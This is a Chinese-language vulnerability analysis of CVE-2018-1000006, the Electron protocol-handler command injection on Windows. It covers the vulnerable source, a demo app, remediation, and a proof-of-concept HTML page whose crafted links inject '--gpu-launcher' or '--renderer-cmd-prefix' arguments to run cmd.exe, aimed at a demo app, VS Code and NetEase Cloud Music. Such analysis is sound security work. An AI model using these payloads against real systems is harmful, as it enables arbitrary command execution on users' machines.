简介

Electron是基于Chromium 和Node.js,并使用HTML、JS、CSS来构建应用的框架。项目地址:https://github.com/electron/electron 。Electron应用广泛,像Slack、Skype、网易云音乐、Atom、GitHub 客户端、VS Code均采用该框架开发。在1月22日,官方发布了一个远程命令执行漏洞CVE-2018-1000006 的通过,基于存在漏洞的版本进行开发的应用均存在被攻击的风险,攻击者可以远程在用户机器上执行任意命令。影响范围:Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本。

漏洞分析

electron可通过app注册自定义的伪协议,攻击者可以利用这些伪协议,构造恶意的url通过浏览器解析和传递给存在漏洞的electron应用程序,从而在启动程序时执行传入的命令。该漏洞影响windows平台。
分析源代码,该漏洞存在于atom\browser\browser_win.cc的第212行SetAsDefaultProtocolClient()函数中

bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                        mate::Arguments* args) {
  // HKEY_CLASSES_ROOT
  //    $PROTOCOL
  //       (Default) = "URL:$NAME"
  //       URL Protocol = ""
  //       shell
  //          open
  //             command
  //                (Default) = "$COMMAND" "%1"
  //
  // However, the "HKEY_CLASSES_ROOT" key can only be written by the
  // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
  // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
  // anyway, and can be written by unprivileged users.

  if (protocol.empty())
    return false;

  base::string16 exe;
  if (!GetProtocolLaunchPath(args, &exe))
    return false;

  // Main Registry Key
  HKEY root = HKEY_CURRENT_USER;
  base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
  base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);

  // Command Key
  base::string16 cmdPath = keyPath + L"\\shell\\open\\command";

  // Write information to registry
  base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
      FAILED(key.WriteValue(L"", urlDecl.c_str())))
    return false;

  base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
  if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
    return false;

  return true;
}

SetAsDefaultProtocolClient函数在注册表中注册自定义的伪协议,注册后查看其注册表
electron-remote-command-execution-vulnerability-1.png

"C:\Users\Lee\Desktop\electron-v1.7.10-win32-x64\electron.exe" "%1"

这次远程命令注入的漏洞仅限于Windows平台,是因为与Win32应用注册url scheme和调用的机制有关Registering an Application to a URI Scheme

When ShellExecute executes the pluggable protocol handler with a stringon the command line, any non-encoded spaces, quotes, and backslashes in the URI will be interpreted as part of the command line. This means that if you use C/C++'s argc and argv to determine the arguments passed to your application, the string may be broken across multiple parameters.

%1占位符相当于argv,将URL的参数传递给应用程序。通过构成payload,传入执行命令的paylaod,闭合双引号,造成命令执行。

"C:\Users\Lee\Desktop\electron-v1.7.10-win32-x64\electron.exe" "zerokeeper:///?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"

漏洞证明

下载electron-v1.7.10-win32-x64.zip搭建本地复现环境,写一个app,用了注册自己的协议。这里直接用chybeta师傅的写的Demo,新建一个文件夹app,里面新建三个文件main.js,index.html,package.json:
main.js:

const {app, BrowserWindow} = require('electron')
const path = require('path')
const url = require('url')
const dialog = require('electron').dialog
let win

function createWindow () {
  win = new BrowserWindow({width: 800, height: 600})
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))
  win.on('closed', function(){
    win = null
  })
}
app.on('ready', createWindow)
app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit()
  }
})
app.on('activate', function(){
  if (win === null) {
    createWindow()
  }
})
app.setAsDefaultProtocolClient('zerokeeper')

index.html:

<!DOCTYPE html>
<html>
  <head>
    <title>Hello World!</title>
  </head>
  <body>
    <h1>Hello World!</h1>
    This is a demo for CVE-2018-1000006</br>
    Electron version:<script>document.write(process.versions['electron'])</script>.
  </body>
</html>

package.json:

{
  "name"    : "CVE-2018-1000006 Demo",
  "version" : "0.0.1",
  "main"    : "main.js"
}

然后把app移到resources目录下,启动electron.exe可以发现已经注册了自己的伪协议,
electron-remote-command-execution-vulnerability-1.png

然后构造poc.html:

<html>
<head>
    <title>POC for CVE-2018-1000006</title>
</head>
<body>
  <a class="protocol" href='zerokeeper://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>electron custom click me</h3></a>
  <a class="protocol" href='cloudmusic.mp3://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>cloudmusic click me</h3></a>
  <a class="protocol" href='vscode://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc'><h3>vscode click me</h3></a>
</body>
</html>  

其中我还构造了其它两个使用了electron开放的应用,vscode和网易云音乐的payload。最后用浏览器打开验证(ps:这里我使用的ie,不知道为什么chrome和firefox不行)。
electron-remote-command-execution-vulnerability-2.png

electron-remote-command-execution-vulnerability-3.png

electron-remote-command-execution-vulnerability-4.png

electron-remote-command-execution-vulnerability-5.png

漏洞修复

1.官方建议,将可控参数放在--之后。

app.setAsDefaultProtocolClient(protocol, process.execPath, [
  '--your-switches-here',
  '--'
])

2.或者升级到1.8.2-beta.4、1.7.11、1.6.16 版本

参考

1.Electron < v1.8.2-beta.4 远程命令执行漏洞
2.Electron 自定义协议命令注入(CVE-2018-1000006)分析和 Url Scheme 安全考古
3.Electron远程执行漏洞技术简述
4.CVE-2018-1000006:Electron远程代码执行漏洞复现与初步分析
5.Protocol Handler Vulnerability Fix